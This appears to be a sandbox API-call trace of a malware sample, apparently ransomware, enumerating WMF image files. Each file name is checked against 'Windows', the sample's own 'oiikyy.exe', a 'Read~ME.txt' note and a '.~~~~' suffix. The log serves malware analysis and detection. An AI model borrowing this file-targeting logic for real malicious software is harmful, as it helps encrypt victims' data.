	[0084.920] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1
	[0084.920] lstrcmpiW (lpString1="J0152708.WMF", lpString2="Windows") returned -1
	[0084.920] lstrcmpW (lpString1="J0152708.WMF", lpString2="oiikyy.exe") returned -1
	[0084.920] StrStrW (lpFirst="J0152708.WMF", lpSrch=".~~~~") returned 0x0
	[0084.920] lstrcmpW (lpString1="J0152708.WMF", lpString2="Read~ME.txt") returned -1
	[0084.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.920] GetCurrentThreadId () returned 0x618
	[0084.920] RtlWakeConditionVariable () returned 0x365f48
	[0084.920] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1
	[0084.920] lstrcmpiW (lpString1="J0152716.WMF", lpString2="Windows") returned -1
	[0084.920] lstrcmpW (lpString1="J0152716.WMF", lpString2="oiikyy.exe") returned -1
	[0084.920] StrStrW (lpFirst="J0152716.WMF", lpSrch=".~~~~") returned 0x0
	[0084.920] lstrcmpW (lpString1="J0152716.WMF", lpString2="Read~ME.txt") returned -1
	[0084.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.920] GetCurrentThreadId () returned 0x618
	[0084.920] RtlWakeConditionVariable () returned 0x365f48
	[0084.920] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1
	[0084.971] lstrcmpiW (lpString1="J0152722.WMF", lpString2="Windows") returned -1
	[0084.971] lstrcmpW (lpString1="J0152722.WMF", lpString2="oiikyy.exe") returned -1
	[0084.971] StrStrW (lpFirst="J0152722.WMF", lpSrch=".~~~~") returned 0x0
	[0084.971] lstrcmpW (lpString1="J0152722.WMF", lpString2="Read~ME.txt") returned -1
	[0084.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.971] GetCurrentThreadId () returned 0x618
	[0084.971] RtlWakeConditionVariable () returned 0x365f48
	[0084.971] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1
	[0084.971] lstrcmpiW (lpString1="J0152876.WMF", lpString2="Windows") returned -1
	[0084.971] lstrcmpW (lpString1="J0152876.WMF", lpString2="oiikyy.exe") returned -1
	[0084.971] StrStrW (lpFirst="J0152876.WMF", lpSrch=".~~~~") returned 0x0
	[0084.971] lstrcmpW (lpString1="J0152876.WMF", lpString2="Read~ME.txt") returned -1
	[0084.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.971] GetCurrentThreadId () returned 0x618
	[0084.971] RtlWakeConditionVariable () returned 0x365f48
	[0084.971] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1
	[0084.971] lstrcmpiW (lpString1="J0152878.WMF", lpString2="Windows") returned -1
	[0084.972] lstrcmpW (lpString1="J0152878.WMF", lpString2="oiikyy.exe") returned -1
	[0084.972] StrStrW (lpFirst="J0152878.WMF", lpSrch=".~~~~") returned 0x0
	[0084.972] lstrcmpW (lpString1="J0152878.WMF", lpString2="Read~ME.txt") returned -1
	[0084.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.972] GetCurrentThreadId () returned 0x618
	[0084.972] RtlWakeConditionVariable () returned 0x365f48
	[0084.972] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1
	[0084.972] lstrcmpiW (lpString1="J0152882.WMF", lpString2="Windows") returned -1
	[0084.972] lstrcmpW (lpString1="J0152882.WMF", lpString2="oiikyy.exe") returned -1
	[0084.972] StrStrW (lpFirst="J0152882.WMF", lpSrch=".~~~~") returned 0x0
	[0084.972] lstrcmpW (lpString1="J0152882.WMF", lpString2="Read~ME.txt") returned -1
	[0084.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.972] GetCurrentThreadId () returned 0x618
	[0084.972] RtlWakeConditionVariable () returned 0x365f48
	[0084.972] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1
	[0084.972] lstrcmpiW (lpString1="J0152884.WMF", lpString2="Windows") returned -1
	[0084.972] lstrcmpW (lpString1="J0152884.WMF", lpString2="oiikyy.exe") returned -1
	[0084.972] StrStrW (lpFirst="J0152884.WMF", lpSrch=".~~~~") returned 0x0
	[0084.972] lstrcmpW (lpString1="J0152884.WMF", lpString2="Read~ME.txt") returned -1
	[0084.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.972] GetCurrentThreadId () returned 0x618
	[0084.972] RtlWakeConditionVariable () returned 0x365f48
	[0084.972] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1
	[0084.972] lstrcmpiW (lpString1="J0152890.WMF", lpString2="Windows") returned -1
	[0084.972] lstrcmpW (lpString1="J0152890.WMF", lpString2="oiikyy.exe") returned -1
	[0084.972] StrStrW (lpFirst="J0152890.WMF", lpSrch=".~~~~") returned 0x0
	[0084.973] lstrcmpW (lpString1="J0152890.WMF", lpString2="Read~ME.txt") returned -1
	[0084.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.973] GetCurrentThreadId () returned 0x618
	[0084.973] RtlWakeConditionVariable () returned 0x365f48
	[0084.973] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1
	[0084.973] lstrcmpiW (lpString1="J0152892.WMF", lpString2="Windows") returned -1
	[0084.973] lstrcmpW (lpString1="J0152892.WMF", lpString2="oiikyy.exe") returned -1
	[0084.973] StrStrW (lpFirst="J0152892.WMF", lpSrch=".~~~~") returned 0x0
	[0084.973] lstrcmpW (lpString1="J0152892.WMF", lpString2="Read~ME.txt") returned -1
	[0084.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.973] GetCurrentThreadId () returned 0x618
	[0084.973] RtlWakeConditionVariable () returned 0x365f48
	[0084.973] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1
	[0084.973] lstrcmpiW (lpString1="J0152894.WMF", lpString2="Windows") returned -1
	[0084.973] lstrcmpW (lpString1="J0152894.WMF", lpString2="oiikyy.exe") returned -1
	[0084.973] StrStrW (lpFirst="J0152894.WMF", lpSrch=".~~~~") returned 0x0
	[0084.973] lstrcmpW (lpString1="J0152894.WMF", lpString2="Read~ME.txt") returned -1
	[0084.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.973] GetCurrentThreadId () returned 0x618
	[0084.973] RtlWakeConditionVariable () returned 0x365f48
	[0084.973] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1
	[0084.973] lstrcmpiW (lpString1="J0152898.WMF", lpString2="Windows") returned -1
	[0084.973] lstrcmpW (lpString1="J0152898.WMF", lpString2="oiikyy.exe") returned -1
	[0084.973] StrStrW (lpFirst="J0152898.WMF", lpSrch=".~~~~") returned 0x0
	[0084.973] lstrcmpW (lpString1="J0152898.WMF", lpString2="Read~ME.txt") returned -1
	[0084.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.973] GetCurrentThreadId () returned 0x618
	[0084.973] RtlWakeConditionVariable () returned 0x365f48
	[0084.974] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1
	[0084.974] lstrcmpiW (lpString1="J0153047.WMF", lpString2="Windows") returned -1
	[0084.974] lstrcmpW (lpString1="J0153047.WMF", lpString2="oiikyy.exe") returned -1
	[0084.974] StrStrW (lpFirst="J0153047.WMF", lpSrch=".~~~~") returned 0x0
	[0084.974] lstrcmpW (lpString1="J0153047.WMF", lpString2="Read~ME.txt") returned -1
	[0084.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.974] GetCurrentThreadId () returned 0x618
	[0084.974] RtlWakeConditionVariable () returned 0x365f48
	[0084.974] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1
	[0084.974] lstrcmpiW (lpString1="J0153087.WMF", lpString2="Windows") returned -1
	[0084.974] lstrcmpW (lpString1="J0153087.WMF", lpString2="oiikyy.exe") returned -1
	[0084.974] StrStrW (lpFirst="J0153087.WMF", lpSrch=".~~~~") returned 0x0
	[0084.974] lstrcmpW (lpString1="J0153087.WMF", lpString2="Read~ME.txt") returned -1
	[0084.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.974] GetCurrentThreadId () returned 0x618
	[0084.974] RtlWakeConditionVariable () returned 0x365f48
	[0084.974] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1
	[0084.974] lstrcmpiW (lpString1="J0153089.WMF", lpString2="Windows") returned -1
	[0084.974] lstrcmpW (lpString1="J0153089.WMF", lpString2="oiikyy.exe") returned -1
	[0084.974] StrStrW (lpFirst="J0153089.WMF", lpSrch=".~~~~") returned 0x0
	[0084.974] lstrcmpW (lpString1="J0153089.WMF", lpString2="Read~ME.txt") returned -1
	[0084.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.974] GetCurrentThreadId () returned 0x618
	[0084.974] RtlWakeConditionVariable () returned 0x365f48
	[0084.974] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1
	[0084.974] lstrcmpiW (lpString1="J0153091.WMF", lpString2="Windows") returned -1
	[0084.974] lstrcmpW (lpString1="J0153091.WMF", lpString2="oiikyy.exe") returned -1
	[0084.974] StrStrW (lpFirst="J0153091.WMF", lpSrch=".~~~~") returned 0x0
	[0084.974] lstrcmpW (lpString1="J0153091.WMF", lpString2="Read~ME.txt") returned -1
	[0084.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.975] GetCurrentThreadId () returned 0x618
	[0084.975] RtlWakeConditionVariable () returned 0x365f48
	[0084.975] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1
	[0084.975] lstrcmpiW (lpString1="J0153093.WMF", lpString2="Windows") returned -1
	[0084.975] lstrcmpW (lpString1="J0153093.WMF", lpString2="oiikyy.exe") returned -1
	[0084.975] StrStrW (lpFirst="J0153093.WMF", lpSrch=".~~~~") returned 0x0
	[0084.975] lstrcmpW (lpString1="J0153093.WMF", lpString2="Read~ME.txt") returned -1
	[0084.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.975] GetCurrentThreadId () returned 0x618
	[0084.975] RtlWakeConditionVariable () returned 0x365f48
	[0084.975] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1
	[0084.975] lstrcmpiW (lpString1="J0153095.WMF", lpString2="Windows") returned -1
	[0084.975] lstrcmpW (lpString1="J0153095.WMF", lpString2="oiikyy.exe") returned -1
	[0084.975] StrStrW (lpFirst="J0153095.WMF", lpSrch=".~~~~") returned 0x0
	[0084.975] lstrcmpW (lpString1="J0153095.WMF", lpString2="Read~ME.txt") returned -1
	[0084.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.975] GetCurrentThreadId () returned 0x618
	[0084.975] RtlWakeConditionVariable () returned 0x365f48
	[0084.975] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1
	[0084.975] lstrcmpiW (lpString1="J0153265.WMF", lpString2="Windows") returned -1
	[0084.975] lstrcmpW (lpString1="J0153265.WMF", lpString2="oiikyy.exe") returned -1
	[0084.975] StrStrW (lpFirst="J0153265.WMF", lpSrch=".~~~~") returned 0x0
	[0084.976] lstrcmpW (lpString1="J0153265.WMF", lpString2="Read~ME.txt") returned -1
	[0084.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.976] GetCurrentThreadId () returned 0x618
	[0084.976] RtlWakeConditionVariable () returned 0x365f48
	[0084.976] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1
	[0084.976] lstrcmpiW (lpString1="J0153273.WMF", lpString2="Windows") returned -1
	[0084.976] lstrcmpW (lpString1="J0153273.WMF", lpString2="oiikyy.exe") returned -1
	[0084.976] StrStrW (lpFirst="J0153273.WMF", lpSrch=".~~~~") returned 0x0
	[0084.976] lstrcmpW (lpString1="J0153273.WMF", lpString2="Read~ME.txt") returned -1
	[0084.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.976] GetCurrentThreadId () returned 0x618
	[0084.976] RtlWakeConditionVariable () returned 0x365f48
	[0084.976] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1
	[0084.976] lstrcmpiW (lpString1="J0153299.WMF", lpString2="Windows") returned -1
	[0084.976] lstrcmpW (lpString1="J0153299.WMF", lpString2="oiikyy.exe") returned -1
	[0084.976] StrStrW (lpFirst="J0153299.WMF", lpSrch=".~~~~") returned 0x0
	[0084.976] lstrcmpW (lpString1="J0153299.WMF", lpString2="Read~ME.txt") returned -1
	[0084.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.976] GetCurrentThreadId () returned 0x618
	[0084.976] RtlWakeConditionVariable () returned 0x365f48
	[0084.976] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1
	[0084.976] lstrcmpiW (lpString1="J0153302.WMF", lpString2="Windows") returned -1
	[0084.976] lstrcmpW (lpString1="J0153302.WMF", lpString2="oiikyy.exe") returned -1
	[0084.976] StrStrW (lpFirst="J0153302.WMF", lpSrch=".~~~~") returned 0x0
	[0084.976] lstrcmpW (lpString1="J0153302.WMF", lpString2="Read~ME.txt") returned -1
	[0084.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.976] GetCurrentThreadId () returned 0x618
	[0084.976] RtlWakeConditionVariable () returned 0x365f48
	[0084.976] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1
	[0084.977] lstrcmpiW (lpString1="J0153305.WMF", lpString2="Windows") returned -1
	[0084.977] lstrcmpW (lpString1="J0153305.WMF", lpString2="oiikyy.exe") returned -1
	[0084.977] StrStrW (lpFirst="J0153305.WMF", lpSrch=".~~~~") returned 0x0
	[0084.977] lstrcmpW (lpString1="J0153305.WMF", lpString2="Read~ME.txt") returned -1
	[0084.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.977] GetCurrentThreadId () returned 0x618
	[0084.977] RtlWakeConditionVariable () returned 0x365f48
	[0084.977] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1
	[0084.977] lstrcmpiW (lpString1="J0153307.WMF", lpString2="Windows") returned -1
	[0084.977] lstrcmpW (lpString1="J0153307.WMF", lpString2="oiikyy.exe") returned -1
	[0084.977] StrStrW (lpFirst="J0153307.WMF", lpSrch=".~~~~") returned 0x0
	[0084.977] lstrcmpW (lpString1="J0153307.WMF", lpString2="Read~ME.txt") returned -1
	[0084.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.977] GetCurrentThreadId () returned 0x618
	[0084.977] RtlWakeConditionVariable () returned 0x365f48
	[0084.977] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1
	[0084.977] lstrcmpiW (lpString1="J0153313.WMF", lpString2="Windows") returned -1
	[0084.977] lstrcmpW (lpString1="J0153313.WMF", lpString2="oiikyy.exe") returned -1
	[0084.977] StrStrW (lpFirst="J0153313.WMF", lpSrch=".~~~~") returned 0x0
	[0084.977] lstrcmpW (lpString1="J0153313.WMF", lpString2="Read~ME.txt") returned -1
	[0084.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.977] GetCurrentThreadId () returned 0x618
	[0084.977] RtlWakeConditionVariable () returned 0x365f48
	[0084.977] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1
	[0084.977] lstrcmpiW (lpString1="J0153398.WMF", lpString2="Windows") returned -1
	[0084.977] lstrcmpW (lpString1="J0153398.WMF", lpString2="oiikyy.exe") returned -1
